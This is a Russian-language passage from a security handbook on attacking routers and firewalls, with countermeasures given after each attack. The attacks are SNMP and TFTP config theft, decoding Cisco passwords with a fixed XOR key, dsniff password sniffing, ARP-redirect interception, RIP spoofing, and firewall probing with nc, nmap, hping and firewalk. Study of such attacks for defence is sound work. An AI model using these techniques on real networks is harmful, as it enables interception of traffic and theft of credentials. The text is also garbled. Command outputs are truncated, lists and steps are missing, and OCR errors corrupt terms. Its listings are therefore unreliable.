Если же вы хотите проверить, является ли ваше устройство уязвимым, не прибегая к "хакерским методам", то можно воспользоваться базой данных Cisco, находящейся по адресу ftp://ftp.cisco.com/pub/mibs/supportlists/. Найдите свое устройство и перепишите на свой компьютер файл supportlist.txt. Затем вам остается проверить, поддерживается ли этим устройством база данных MIB старого формата, т.е. OLD-CISCO-SYS-MIB. Если это так, то вам придется принимать дополнительные меры по защите маршрутизатора. line vty 0 4 Для того чтобы загрузить конфигурационный файл устройств Ascend, также можно воспользоваться командой snmpset следующего вида. snmpset 10.11.12.13 private
Контрмеры: защита базы данных MIB Обнаружение Самый простой способ обнаружения SNMP-запросов на запись в базу данных MIB заключается в использовании утилиты syslog, настроенной на регистрацию каждого запроса. Для этого сначала на компьютере с системой UNIX или NT нужно запустить демон syslog, а затем настроить его таким образом, чтобы он регистрировал соответствующие события. На устройстве Cisco это можно сделать с помощью следующей команды. logging 196.254.92.83 Защита Для того чтобы воспрепятствовать злоумышленнику получить старую базу MIB, можно предпринять следующие меры.
Слабость алгоритмов шифрования паролей Cisco Устройства Cisco, по крайней мере на момент написания данной книги, имели слабый алгоритм шифрования, используемый как при хранении пароля vty, так и пароля доступа. Оба пароля хранятся в конфигурационном файле устройств, а их взлом не представляет особого труда. Для того чтобы узнать, является ли ваш маршрутизатор уязвимым, просмотрите конфигурационный файл с помощью следующей команды. line vty 0 4 Слабость встроенного алгоритма шифрования Cisco объясняется тем, что он основан на использовании операции XOR и постоянного инициализирующего значения (seed value). Шифруемые пароли Cisco могут иметь до 11 алфавитно-цифровых символов разного регистра. Первые два байта пароля выбираются случайным образом из диапазона от 0x0 до 0xF, а оставшиеся представляют собой строку, полученную путем объединения с помощью операции XOR пароля и заданного блока символов dsfd;kfoA,.iyewrkldJKDHSUB. Модуль расшифровки паролей Cisco компании SolarWinds Для тех, кто лучше знаком с системой Windows, существует соответствующая версия модуля расшифровки паролей Cisco, подготовленная компанией SolarWinds из города Тулса штата Оклахома (Tulsa, Oklahoma). Компания SolarWinds разрабатывает сетевое программное обеспечение для больших телекоммуникационных компаний и включает модуль расшифровки в состав приложения просмотра параметров настройки устройств Cisco (Cisco Config Viewer). Кроме того, этот модуль распространяется и как самостоятельное приложение (рис. 10.6).
Контрмеры: защита паролей Cisco Единственным решением проблемы защиты пароля доступа (enable password) является использование для изменения пароля команды enable secret. Эта команда защищает пароль доступа с помощью алгоритма шифрования MD5, для которого пока что нет известных методов быстрого взлома. К сожалению, остальные пароли Cisco, такие как пароли доступа vty, защитить ни этим, ни каким-либо другим методом нельзя. Получение файлов с помощью TRP Практически все маршрутизаторы поддерживают использование протокола TFTP (Trivial File Transfer Protocol). Этот протокол представляет собой основанный на протоколе UDP механизм передачи файлов, применяемый для резервного копирования и восстановления конфигурационных файлов, который связан с портом UDP 69. Как вы понимаете, обнаружить эту службу, запущенную на вашем устройстве, достаточно просто с помощью утилиты nmap. [root@happy] tftp Если ваш маршрутизатор уязвим, то в текущем каталоге вашего компьютера вы наверняка найдете конфигурационный файл (lax-serial-rtr.cfg) маршрутизатора. В нем, скорее всего, будут содержаться все строки доступа SNMP, а также списки управления доступом. Более подробная информация о том, как использовать TFTP для получения информации об устройствах Cisco, находится в архиве группы Packet Storm. Контрмеры: защита от применения ТFTР Для того чтобы устранить угрозу, таящуюся в использовании протокола TFTP, можно предпринять следующие меры.
Конфигурационные файлы устройств компании Bay Программное обеспечение управления сетью компании Bay Networks, диспетчер Site Manager, позволяет администраторам выполнять тестирование состояния сети, включая проверку SNMP-статуса устройства и установление факта его работоспособности с помощью пакетов IСМР. К сожалению, конфигурационные файлы .cfg, предназначенные для хранения параметров Site Manager, хранятся в незашифрованном виде. Помимо прочего, в этом файле хранятся также строки доступа SNMP. Если злоумышленнику удастся проникнуть на компьютер, работающий под управлением Site Manager, все, что ему нужно сделать, — это скопировать конфигурационные файлы в свою версию Site Manager и найти в них информацию о строках доступа SNMP. Контрмеры: защита конфигурационных файлов Вау Самая простая защитная мера заключается в ограничении списка пользователей. которым разрешено копировать конфигурационные файлы. Для этого достаточно разрешить чтение этих файлов только суперпользователю root (или только администратору, отвечающему за настройку маршрутизатора). |
Множественный доступ и коммутация пакетов Общая передающая среда (как Ethernet, так и Token Ring) применяется для обмена данными в сетях на протяжении более двух десятков лет. Этот подход был разработан Бобом Меткафом (Bob Metcalfe) для стандарта Ethernet в исследовательском центре компании Xerox, расположенном в г. Пало Альто (PARC — Palo Alto Research Center), и получил название CSMA/CD (выявление множественного доступа к линии/распознавание конфликтов — Carrier Sense Multiple Access/Collision Detection). При такой традиционной топологии сетевой адаптер Ethernet отправляет исходящий поток данных каждому узлу сегмента. С одной стороны, это гарантирует, что принимающий адаптер, где бы он ни находился, получит, как и все остальные адаптеры сети, предназначавшиеся ему данные (хотя остальным сетевым адаптерам они вовсе не нужны). С другой стороны, постоянно рассылаемые по всей сети пакеты мешают друг другу и при повышении интенсивности работы могут возникать ситуации, когда пропускная способность канала не соответствует интенсивности передаваемых по нему данных. Кроме того, с точки зрения безопасности, множественный доступ к передающей среде — это "бомба замедленного действия", которая рано или поздно может привести к нарушениям безопасности. Однако, к сожалению, сети Ethernet с множественным доступом весьма распространены в настоящее время и. похоже, вряд ли исчезнут в обозримом будущем. |
Определение типа сети Определить, к какому типу относится используемая вами сеть (т.е. к сетям с множественным доступом или же к сетям с коммутацией пакетов), очень просто. Используя простейшую программу перехвата пакетов, например tcpdump (для NT или UNIX), вы получите все данные, необходимые для того, чтобы сделать однозначное заключение. 20:20:22.530205 0:80:24:53:ae:bd > В то же время в сетях с множественным доступом к передающей среде вы увидите все типы данных, пересылаемых по сети разными узлами. Например, в показанном ниже фрагменте сеанса работы утилиты tcpdump, легко обнаружить потоки данных, предназначенные другим компьютерам (естественно, такого рода информация гораздо интереснее для злоумышленников, чем приведенная выше). 20:25:37.640205 192.168.40.66.23 > |
Пароли на блюдечке: dsniff Конечно, с помощью утилиты tcpdump можно без проблем определить тип используемой сети, однако что вы скажете о получении главных жемчужин компьютерного мира — паролей? Для этих целей можно приобрести чудовищный по предоставляемым возможностям программный пакет SnifferPro или воспользоваться более дешевыми средствами, например, CaptureNet, разработанным Лаврентием Никулой (Laurentiu Nicula). Однако лучше всего прибегнуть к программе Дага Сонга (Dug Song). Он разработал одно из наиболее сложных средств перехвата паролей — программу dsniff. [root@mybox dsniff-1.8] dsniff Кроме средства перехвата паролей dsnif f, в состав пакета входят разнообразные средства поиска других слабых мест, такие как mailsnarf и webspy. mailsnarf представляет собой небольшое приложение, позволяющее собирать все почтовые сообщения и отображать их содержимое на экране, как если они были написаны вами лично, webspy — это мощная утилита, которая окажется полезной, если требуется определить, какие страницы в Web посетили пользователи. При этом в Web-броузере автоматически будут отображаться Web-страницы, которые были просмотрены определенным пользователем. [root]# mailsnarf Чтение почтовых сообщений ваших соседей может показаться забавным занятием, однако не забывайте о том, что подобные действия вряд ли можно назвать законными.
Контрмеры: защита от dsniff Традиционным способом защиты от перехвата незашифрованных паролей является переход от сетевой топологии Ethernet с множественным доступом к сети с коммутацией пакетов. Однако как вы узнали из предыдущих разделов, такая мера практически не способна предотвратить атаки с применением программы dsniff. |
Анализ пакетов на коммутаторе сети На первый взгляд кажется, что для повышения скорости и уровня безопасности можно просто добавить в сеть новый коммутатор. Если вы считаете, что это позволит удержать любознательных пользователей от прослушивания интенсивного сетевого трафика, то такая позиция может вызвать лишь улыбку. Неужели вы думаете, что новый коммутатор способен разрешить все существующие проблемы? Подумайте хорошенько еще раз. Перенаправление ARP В рассматриваемом примере три компьютера соединены с сетевым коммутатором. Система crush является шлюзом, заданным по умолчанию, с IP-адресом 10.1.1.1. Компьютер shadow— это исходный узел с IP-адресом 10.1.1.18. Система twister представляет собой компьютер взломщика, который будет выполнять роль "третьего-среднего". Его IP-адрес 10.1.1.19. Для подготовки нападения на узле twister запустим утилиту arpredirect, входящую в состав пакета dsniff Дага Сонга. Эта утилита позволит нам перехватывать пакеты, передаваемые исходным узлом по сети другому узлу, который обычно представляет собой шлюз, используемый по умолчанию. Перед тем как приступить к изучению этого подхода в собственной сети, обсудите этот вопрос с сетевым администратором. Если на вашем коммутаторе включен режим защиты портов, то это может привести к блокированию всех пользователей, обратившихся к нему. Не забывайте о том, что все компьютеры соединены с коммутатором и у нас имеется возможность просматривать лишь широковещательный сетевой трафик. Однако как показано ниже, с помощью утилиты arpredirect мы сможем просмотреть весь поток сообщений, передаваемый между узлами shadow и crush. [twister] ping crush
[twister] arpredirect -t 10.1.1.18 10.1.1.1 После выполнения этой команды весь поток сообщений, передаваемый с узла shadow на используемый по умолчанию шлюз crush, будет перенаправляться на компьютер взломщика, twister. На этом узле необходимо также включить режим последующей передачи IP-пакетов (forwarding IP traffic), чтобы он функционировал в качестве маршрутизатора и после перехвата сообщений с узла shadow перенаправлял их на узел crush. На компьютере twister режим передачи пакетов можно активизировать на уровне ядра, однако делать этого не рекомендуется, поскольку в этом случае могут передаваться также пакеты ICMP, что может привести к нарушению всего процесса. Вместо этого воспользуемся утилитой fragrouter (http://www.anzen.com/ research/nidsbench/fragrouter.html) и активизируем обычный режим передачи IP-пакетов с помощью следующей команды. [twister] fragrouter -Bl И наконец, на узле twister нужно активизировать простую программу анализа пакетов, чтобы иметь возможность перехватывать все ценные данные. Для получения более подробной информации об анализаторах сетевых пакетов читайте главы 6 и 8. [twister] linsniff Теперь посмотрим, что же произойдет. После запуска утилиты arpredirect узел twister будет передавать фальшивые ARP-ответы узлу shadow и выдавать себя за узел crush. Узел shadow успешно обновит свою таблицу ARP и поместит в нее "новый" физический адрес узла crush. После этого пользователь компьютера shadow начнет сеанс FTP и POP с узлом 192.168.20.20. Однако вместо передачи пакетов на компьютер crush, реальный используемый по умолчанию шлюз, узел shadow будет введен в заблуждение, поскольку в его таблицу ARP были внесены соответствующие изменения. Через узел twister весь трафик будет перенаправляться на узел 192.168.20. 20, поскольку с помощью утилиты fragrouter мы активизировали режим перенаправления IP-пакетов. Другими словами, узел twister будет играть роль маршрутизатора. [twister] arpredirect 10.1.1.1 Нетрудно догадаться, что в сети с интенсивным трафиком это приведет к настоящему хаосу. Контрмеры: предотвращение перенаправленияАВР Как вы увидели в предыдущем разделе, не составляет никаких проблем генерировать ложные ответы ARP и модифицировать таблицу ARP на большинстве узлов локальной сети. Где это только возможно, задавайте статические записи таблицы ARP, особенно на важных системах. Стандартный прием заключается в задании статических записей АКР, определяющих взаимодействие брандмауэра и пограничных маршрутизаторов. Это можно реализовать следующим образом. [shadow] arp -s crush 00:00:С5:74:ЕА:ВО Обратите внимание на флаг PERM, который является признаком статической записи ARP. May 21 12:28:49 crush: flip Поскольку подобную деятельность выявить не очень легко, то такой мониторинг будет полезен при ее идентификации. snmpsniff Если ваш компьютер находится в сегменте сети с множественным доступом, то совсем неплохо ее "прослушать" и узнать, что же в ней происходит. Воспользуйтесь мощным анализатором пакетов SnifferPro компании Network Associates или запустите утилиту snmpsnif f, разработанную Нуно Леитао (Nuno Leitao, nuno.leitao@convex.pt). а затем посмотрите, какую информацию вы получили. [root@kramer snmpsniff-0.9b]# ./snmpsniff.sh Как видно из приведенного выше фрагмента, злоумышленнику удалось узнать одну из строк доступа (secret), которая может оказаться строкой доступа, позволяющей не только получать, но и записывать данные на маршрутизатор 172.31.50.2 с помощью SNMP. Теперь злоумышленник сможет получить доступ не только к устройствам вашей сети, но и попробовать взломать еще одну "жертву" — компьютер с IP-адресом 172.31.50.100. Контрмеры: защита трафика ЗММР Одна из защитных мер, позволяющих предотвратить перехват трафика SNMP, заключается в его шифровании. В обоих версиях этого протокола, SNMP\2 и SNMPvS, имеется возможность применения алгоритмов шифрования и стандарта DES для шифрования конфиденциальной информации. Альтернативный подход заключается в реализации защищенного канала на базе частной виртуальной сети (VPN — Virtual Private Network). При использовании клиентского программного обеспечения VPN, разработанного компанией Entrust (http://www.entrust.com) или компанией NortelNetworks (http://www.nortelnetworks.com), гарантируется шифрование трафика между клиентским узлом и концом канала VPN. Ложные пакеты RIP После успешной идентификации маршрутизаторов вашей сети, опытный взломщик наверняка предпримет попытку найти те из них, которые поддерживают протокол маршрутизации RIP (Routing Information Protocol) версии 1 (RFC 1058) или 2 (RFC 1723). Почему? Дело в том, что с его помощью легко сгенерировать ложные пакеты. Объясняется это следующими причинами.
В результате взломщик может просто отправить маршрутизатору RIP ложные пакеты и указать, чтобы пакеты передавались в другую сеть или узел, а не на требуемый узел. Вот как можно осуществить атаку с помощью ложных пакетов RIP.
3. Определите наилучшее направление атаки. Тип атаки ограничивается лишь фантазией взломщика, однако в данном примере мы перенаправим весь трафик на определенный узел через наш собственный компьютер, чтобы можно было проанализировать все пакеты и, не исключено, извлечь из них информацию о паролях. Для этого на маршрутизатор RIP (192.168.51.102) необходимо добавить следующий маршрут. Утилита fragrouter 6. Установите свой любимый анализатор пакетов для системы Linux (например, программу dsnif f), а затем приступите к просмотру "на лету" имен пользователей и паролей. Контрмеры: защита от ложных пакетов RIP
|
Резюме В этой главе вы узнали, как много сетевых устройств можно выявить с помощью методов сканирования и прослеживания маршрутов. Идентифицировать эти устройства достаточно легко. Обычно этот процесс сопровождается сбором идентификационных маркеров, идентификацией операционной системы и идентификацией по характерным признакам, например по открытому порту 1999 устройств Cisco. |
Глава 11. БРАНДМАУЭРЫ
|
Брандмауэры С тех пор как Чесвик (Cheswick) и Белоувин (Bellovin) написали свой фундаментальный труд о построении брандмауэров и борьбе с коварным хакером Берфердом (Berferd), желание подключить Web-сервер (или любой другой компьютер) к Internet без развертывания брандмауэра считается самоубийством. Примерно то же можно сказать в ситуации, когда функции брандмауэра возлагаются на переносной компьютер сетевого администратора. Хотя таким опытным специалистам должны быть хорошо известны технические нюансы реализации брандмауэра, как правило, они совершенно не заботятся об обеспечении безопасности и не учитывают цели и средства коварных хакеров. В результате брандмауэры могут оказаться неправильно сконфигурированными, что позволяет взломщикам проникнуть в вашу сеть и послужить причиной далеко не самых лучших ощущений. |
Основные сведения На современном рынке преобладает два типа брандмауэров: программные посредники (application proxy) и шлюзы фильтрации пакетов (packet filtering gateways). Хотя программные посредники считаются более надежными, чем шлюзы фильтрации пакетов, их ограниченность и невысокая производительность обуславливают их применение в основном к исходящему трафику, а не к входящему потоку сообщений, поступающему на Web-серверы многих компаний. В то же время, шлюзы фильтрации пакетов или более сложные шлюзы с сохранением состояния (stateful) можно найти во многих крупных организациях, в которых высокие требования предъявляются к исходящему трафику. |
Идентификация брандмауэров Почти каждый брандмауэр имеет свои отличительные особенности. Поэтому с помощью сканирования портов, инвентаризации и сбора идентификационных маркеров взломщики могут правильно определить тип, версию и набор правил практически каждого брандмауэра в сети. Почему так важна подобная идентификация? Как только вся эта информация будет получена, взломщик может приступать к ее анализу, поиску уязвимых мест и дальнейшему их использованию. Прямое сканирование Самый простой способ поиска брандмауэров заключается в сканировании определенных портов, используемых ими по умолчанию. Некоторые современные брандмауэры можно уникально идентифицировать, выполнив простое сканирование портов. Для этого необходимо лишь знать, что именно вы хотите найти. Например, брандмауэры Firewall-1 компании Checkpoint ожидают поступления запросов с TCP-портов 256, 257 и 258, a Proxy Server компании Microsoft обычно прослушивает TCP-порты с номерами 1080 и 1745. Обладая такой информацией, поиск этих типов брандмауэров окажется тривиальным, если воспользоваться сканером портов, таким как утилита nmap. Контрмеры: защита от прямого сканирования Способы предотвращения сканирования портов брандмауэра во многом совпадают с методами, рассмотренными в главе 2. Необходимо заблокировать попытки такого сканирования на пограничном маршрутизаторе или воспользоваться одним из средств выявления вторжений (свободно распространяемым или коммерческим). Однако и в этом случае нельзя предотвратить простое сканирование портов, поскольку по умолчанию большинство систем IDS не позволяет обнаружить подобную деятельность. Так что перед их использованием необходимо выполнить соответствующую настройку. Обнаружение Для того чтобы безошибочно обнаружить факт сканирования портов по случайному закону или с применением ложных узлов, нужно тонко настроить соответствующую сигнатуру. Для получения дополнительной информации по этому вопросу внимательно изучите документацию, входящую в комплект поставки используемой системы IDS. Предотвращение Для того чтобы предотвратить сканирование портов брандмауэра из Internet, нужно заблокировать эти порты на маршрутизаторе, расположенном перед брандмауэром. Если эти устройства управляются вашим провайдером услуг Internet, то этот вопрос придется согласовать с ним. Если же вы самостоятельно управляете маршрутизатором, то для явного блокирования попыток сканирования воспользуйтесь следующим списком ACL компании Cisco. access-list 101 deny tcp any any eq 256 log! Если вы заблокируете порты Checkpoint (256-258) на пограничных маршрутизаторах, то не сможете управлять брандмауэром по Internet. Администратор Cisco может без особых проблем применить вышеперечисленные правила. Нужно просто перейти в режим редактирования параметров и ввести по очереди предыдущие строки. После этого необходимо выйти из режима редактирования и ввести команду write, чтобы внесенные изменения были внесены в конфигурационный файл. Кроме того, на всех маршрутизаторах в любом случае должно быть задано правило очистки (если они не препятствуют поступлению пакетов по умолчанию), которое имеет тот же смысл, что и приведенная ниже операция. access-list 101 deny ip any any log!
Отслеживание маршрута Более скрытый и изощренный метод поиска брандмауэров в сети заключается в использовании утилиты traceroute. Для поиска каждого сегмента пути к целевому узлу можно воспользоваться утилитой traceroute системы UNIX или аналогичной утилитой tracert.exe системы NT. Затем на основании полученной информации можно сделать некоторые логические предположения. В версии утилиты traceroute из системы Linux имеется параметр -I, при указании которого для поиска сегментов будут посылаться пакеты ICMP, а не UDP-пакеты, используемые по умолчанию. [sm]$ traceroute -I 192.168.51.100 Особого внимания заслуживает сегмент, предшествующий целевому узлу (10. 55.202 .1). Почти наверняка по этому адресу находится брандмауэр, однако для полной уверенности в этом необходимо выполнить некоторые дополнительные исследования. 1 stoneface (192.168.10.33) 12.640 ms 8.367 ms
Контрмеры: защита от отслеживания маршрута Для того чтобы предотвратить получение информации с помощью утилиты traceroute, запретите передачу ответных пакетов на пакеты с истекшим временем TTL на всех брандмауэрах и маршрутизаторах, на которых это возможно. Однако помните о том, что полностью решить этот вопрос можно далеко не всегда, поскольку многие маршрутизаторы могут оказаться под управлениям вашего провайдера услуг Internet. Обнаружение Попытки получения маршрутов с использованием стандартных средств можно выявить на границах сети в процессе мониторинга ICMP- и UDP-пакетов со значением TTL, равным 1. Это можно осуществить с помощью пакета RealSecure 3.0, выбрав имя TRACE_ ROUTE среди параметров безопасности Security Events политики Network Engine Policy. Предотвращение Для того чтобы предотвратить возможность отслеживания маршрутов на границе сети, маршрутизаторы необходимо настроить таким образом, чтобы они не отправляли пакеты в ответ на сообщения с временем TTL, равным 0 или 1. На маршрутизаторах Cisco для этого можно воспользоваться следующим списком ACL. access-list 101 deny ip any any 11 0 ! Время ttl истекло Сбор маркеров Сканирование портов позволяет определить местоположение брандмауэров, однако многие из них, подобно продуктам компаний Checkpoint и Microsoft, не прослушивают порты, установленные по умолчанию. Так что для подтверждения имеющихся сведений требуется получить дополнительные данные. В главе 3 подробно рассматривались методы получения имен запущенных приложений и их версий. Для этого необходимо подключиться к активным службам и извлечь связанные с ними идентификационные маркеры. Многие популярные брандмауэры предоставляют всю необходимую информацию сразу же после установки с ними соединения. Многие промежуточные узлы информируют злоумышленника о том, что они являются брандмауэрами, а некоторые из них дополнительно сообщают свой тип, а также версию. Например, при подключении с помощью утилиты netcat к порту 21 (FTP) узла, который, очевидно, является брандмауэром, можно получить некоторую важную информацию. C:\>nc -v -n 192.168.51.129 21 Сообщение Secure Gateway FTP server ready позволяет сделать вывод о том, что мы имеем дело со старым устройством Eagle Raptor. Последующее подключение к порту 23 (telnet) предоставляет еще одно доказательство этого предположения. C:\>nc -v -n 192.168.51.129 23 И наконец, если вы все еще не совсем уверены в том, что исследуемый узел является брандмауэром, можно подключиться с помощью утилиты netcat к порту 25 (SMTP). После этого все сомнения рассеются окончательно. C:\>nc -v -n 192.168.51.129 25 Как видно из приведенных примеров, в процессе идентификации брандмауэров чрезвычайно важной может оказаться информация о маркерах. После ее анализа можно воспользоваться хорошо известными изъянами или широко распространенными ошибками в настройке. Контрмеры: защита от сбора маркеров Для того чтобы избежать утечки информации, необходимо ограничить количество данных, предоставляемых по внешним запросам. К каждому маркеру можно добавить также сообщение о юридической ответственности, а, кроме того, все попытки получения этой информации должны регистрироваться в системных журналах. Специфика изменения маркеров, используемых по умолчанию, сильно зависит от типа используемого брандмауэра, так что перед выполнением подобных действий внимательно прочтите документацию или проконсультируйтесь с производителем. Предотвращение Для того чтобы предотвратить возможность сбора маркеров злоумышленником и, как следствие, получение им подробной информации о брандмауэре, можно изменить соответствующие конфигурационные файлы. Конкретные рекомендации зависят от типа брандмауэра. Например, для брандмауэров Eagle Raptor можно модифицировать маркеры FTP и telnet, изменив файлы сообщений с событиями дня (message-of-the day) ftp.motd и telnet.motd. |
Дополнительное исследование брандмауэров Если прямое сканирование портов, отслеживание маршрутов и сбор маркеров не принесли успеха, взломщики могут прибегнуть к дополнительной инвентаризации брандмауэра на более высоком уровне. При этом идентифицировать брандмауэры и получить их правила ACL можно в процессе исследования цели и анализа полученной информации (или не полученной). Простой способ получения данных с помощью утилиты nmар Утилита nmар является прекрасным средством исследования брандмауэров, и мы постоянно ею пользуемся. В процессе сканирования узла эта утилита сообщает не только об открытых или закрытых портах, но и о тех из них, которые оказались заблокированными. При этом полученные (или отсутствующие) данные позволяют узнать о конфигурации брандмауэра много важной информации.
При выполнении любого из этих трех условий утилита nmap сообщит о порте как о фильтруемом (filtered). Например, при сканировании узла www.company.com мы получили два IСМР-пакета, что говорит о блокировании брандмауэром портов 23 и 111. [root]# nmap -p20,21,23,53,80,111 -PO -w 192.168.51.100 Состояние Firewalled из предыдущего фрагмента свидетельствует о получении 1СМР-пакета типа 3 с кодом 13 (admin prohibited filter), как видно из следующего листинга утилиты tcpdump. 23:14:01.229743 10.55.2.1 > 172.29.11.207: icmp: host 172.32.12.4 Каким же образом утилите nmap удается связать получаемые пакеты с исходными сообщениями, особенно, когда они являются лишь малой частью данных, передаваемых по сети? Дело в том, что в ответном ICMP-пакете, передаваемом на сканирующий узел, содержится вся информация, необходимая для понимания того, что же произошло. О блокировании порта сообщается в однобайтовом блоке заголовка IСМР по адресу 0x41, а в случае обращения к фильтруемому порту брандмауэр отправит сообщение в IP-блоке пакета по адресу 0xlb (4 байта). [root]# nmap -sS -pl-300 172.18.20.55 При отслеживании пакетов с помощью утилиты tcpdump можно увидеть, что обратно возвращаются пакеты RST/ACK. 21:26:22.742482 172.18.20.55.258 > 172.29.11.207.39667: S
Контрмеры против применения утилиты nmар Обнаружение Для выявления попыток сканирования с использованием утилиты nmap можно применять подходы, описанные в главе 2. Кроме того, можно также дать следующий совет. Настройте процедуру обнаружения сканирования таким образом, чтобы отдельно получать информацию о попытках сканирования брандмауэров. Предотвращение Для того чтобы предотвратить возможность инвентаризации списков ACL маршрутизаторов и брандмауэров, нужно отключить на них режим передачи ответных сообщений ICMP с типом 13. На маршрутизаторах Cisco это можно осуществить, запретив передачу ответных IP-сообщений о недостижимости цели. no ip unreachables Идентификация портов Некоторые брандмауэры имеют уникальные характеристики, отличающие их от других брандмауэров и представленные в виде последовательности цифр. Например, такую последовательность можно получить при подключении к TCP-порту 257 (SNMP) брандмауэров Checkpoint. Наличие портов 256-259 является хорошим признаком брандмауэра Firewall-1 компании Checkpoint. А следующий тест поможет в этом удостовериться. [root]# nc -v -n 192.168.51.1 257
Контрмеры: защита от идентификации портов Обнаружение Факт подключения злоумышленника к портам можно выявить, добавив аудит соответствующего события в программе RealSecure. Вот что для этого нужно сделать. Предотвращение Возможность подключения к TCP-порту можно предотвратить, заблокировав его на маршрутизаторе исходящих сообщений. Следующий простой список ACL брандмауэров Cisco поможет явно запретить все попытки подключения. access-list 101 deny tcp any any eq 257 log ! Блокирование сканирования Firewall-1 |
Война с брандмауэрами Не волнуйтесь, в данном разделе мы Не будем рассматривать чудодейственные способы вывода из строя действующих брандмауэров. Мы лишь познакомимся с несколькими приемами, которые позволяют собрать некоторую важную информацию о различных путях проникновения через брандмауэры и их обхода. Передача тестовых пакетов Утилита hping, написанная Сальватором Санфилиппо (Salvatore Sanfilippo), передает TCP-пакеты на порт назначения и сообщает о том, какие ответные пакеты были получены. В зависимости от многочисленных условий эта утилита предоставляет самые разнообразные сведения. Каждый отдельный пакет и все пакеты в целом способны предоставить довольно ясное представление об используемых на брандмауэрах списках управления доступом. Например, с помощью утилиты hping можно выявить открытые и заблокированные порты, а также потерянные и отвергнутые пакеты. [root]# hping 192.168.51.101 -с2 -S -р80 -n Теперь нам известен открытый порт на пути к желанной цели, однако мы еще ничего не знаем о брандмауэре. В следующем примере утилита hping сообщает о том. что с узла 192.168.70.2 ею получен ICMP-пакет типа 13 (Destination Unreachable — получатель недостижим). В главе 2 упоминалось, что такой пакет обычно передается маршрутизатором с фильтрацией пакетов типа Cisco IOS, на котором взаимодействие с определенными портами административно запрещено. [root]# hping 192.168.51.101 -с2 -S -p23 -n С этого момента наше предположение подтвердилось: узел 172.168.70.2, скорее всего, является брандмауэром. Кроме того, нам известно, что на нем явно блокируется порт 23. Другими словами, если узел представляет собой маршрутизатор Cisco, то в его конфигурационном файле наверняка имеется следующая строка. access-list 101 deny tcp any any 23!telnet В приведенном ниже примере мы получили ответный пакет RST/ACK, что свидетельствует о выполнении одного из двух возможных условий: (1) пакет прошел через брандмауэр и на целевом узле заданный порт не находится в состоянии ожидания запросов или (2) брандмауэр отверг пакет (что вполне возможно, если на брандмауэре Checkpoint действует правило REJECT). [root]# hping 192.168.50.3 -с2 -S -p22 -n Поскольку ранее был получен ICMP-пакет типа 13, можно сделать вывод о том, что брандмауэр (192.168.70.2) позволяет пакетам проходить дальше по маршруту, однако на целевом узле опрашиваемый порт не находится в состоянии ожидания запросов. [root]# hping 192.168.50.3 -с2 -S -p22 -n Такой результат утилита hping может предоставить по двум причинам: (1) пакет не смог достичь источника назначения и был утерян в процессе передачи или (2) наиболее вероятно, пакет был отброшен устройством (возможно, брандмауэром — 192 .168. 70.2) в соответствии с установленными правилами ACL. Контрмеры: защита от тестовых пакетов Предотвращение Предотвратить атаки с использованием утилиты hping очень трудно. Лучше всего просто заблокировать передачу сообщений ICMP с типом 13 (как описано в разделе, посвященному утилите nmap). Утилита firewalk Утилита firewalk является небольшим прекрасным средством, которое, подобно программам-сканнерам, позволяет исследовать порты узлов, расположенных позади брандмауэра. Она написана Майком Шифманом (Mike Schiffman) и Дэйвом Гольдсмитом (Dave Goldsmith). С помощью этой утилиты можно просканировать такие узлы и получить установленные на них правила. Причем вся процедура выполняется без реального "прикосновения" к целевой системе. [root]# firewalk -pTCP -S135-140 10.22.3.1 Относительно утилиты firewalk необходимо упомянуть об одной проблеме, которая заключается в том, что ее результаты могут оказаться непредсказуемыми. Некоторые брандмауэры способны выявить истечение времени жизни пакета до проверки своего списка ACL, что приводит к передаче ответного ICMP-сообшения TTL EXPIRED в любом случае. В результате утилитой firewalk все порты будут считаться открытыми. Контрмеры: защита от утилиты firewalk Предотвращение На уровне внешнего интерфейса можно заблокировать передачу ICMP-пакетов TTL EXPIRED, однако это может отрицательно сказаться на производительности, поскольку легитимные клиенты никогда не смогут узнать, что же произошло с их соединением. Сканирование с исходного порта Традиционные брандмауэры с фильтрацией пакетов типа IOS Cisco имеют один существенный недостаток: они не сохраняют состояние! Для большинства читателей этот факт выглядит вполне очевидным, не так ли? Однако проанализируйте его еше раз. Если брандмауэр не может поддерживать состояние, то он не может определить, с внутренней или с внешней стороны было установлено соединение. Другими словами, такие брандмауэры не могут полностью управлять некоторыми потоками данных. Как следствие, в качестве исходного можно задать порт, который обычно является "легитимным", например TCP 53 (перенос зоны) и TCP 20 (FTP), а затем для получения ценной информации приступить к сканированию (или к атаке). Если обнаружится, что брандмауэр не сохраняет состояние соединений, то можно воспользоваться этим преимуществом и приступить к атаке уязвимых узлов, расположенных за этим брандмауэром. С помощью модифицированной утилиты перенаправления портов, например Fpipe от группы Foundstone, можно задать исходный порт 20, а затем приступить к атаке целевого узла через брандмауэр. Контрмеры: защита и сканирования с исходного порта Предотвращение Решить описанную проблему очень просто, однако это решение выглядит не очень эффектным. Необходимо запретить любые сетевые взаимодействия, для которых требуется комбинация из нескольких портов (FTP), либо перейти к промежуточным программным брандмауэрам или тем, которые сохраняют состояние соединений. При этом можно значительно повысить управляемость входящими и исходящими соединениями, а также реально контролировать весь процесс. |
Фильтрация пакетов Работа брандмауэров с фильтрацией пакетов (в том числе с сохранением состояний) типа Firewall-1 от компании CheckPoint, PIX и IOS от компании Cisco (да, IOS тоже можно использовать в качестве брандмауэра) основывается на списках ACL или правилах, служащих для определения того, является ли авторизованным трафик, передаваемый в/из внутренней сети. В большинстве случаев эти списки грамотно разработаны и их очень трудно обойти. Однако зачастую можно обойти брандмауэры с нестрогим списком ACL и передать отдельные пакеты во внутреннюю сеть. Нестрогие списки ACL Нестрогие списки ACL применяются на гораздо большем числе брандмауэров, чем это можно себе представить. Предположим, что провайдеру услуг Internet какой-то организации необходимо разрешить перенос зоны. В этом случае вместо нестрогого списка ACL, такого как "Разрешить выполнение действий с сервера DNS провайдера услуг Internet с исходного TCP-порта 53 и порта назначения 53", может быть реализован следующий: "Разрешить выполнение любых действий с исходного TCP-порта 53". Подобные ошибки в конфигурации могут оказаться поистине разрушительными, поскольку злоумышленник сможет просканировать всю сеть извне. Большинство из таких атак начинается со сканирования узла, расположенного позади брандмауэра, и использования в качестве исходного ложного TCP-порта 53 (DNS). Контрмеры против нестрогих списков ACL Предотвращение Удостоверьтесь, что правила вашего брандмауэра разрешают лишь определенные подключения. Например, если вашему провайдеру услуг Internet требуется выполнять перенос зоны, это должно быть явно указано в установленных правилах. При этом требуйте указания в правиле как исходного IP-адреса, так и IP-адреса назначения (внутреннего сервера DNS).
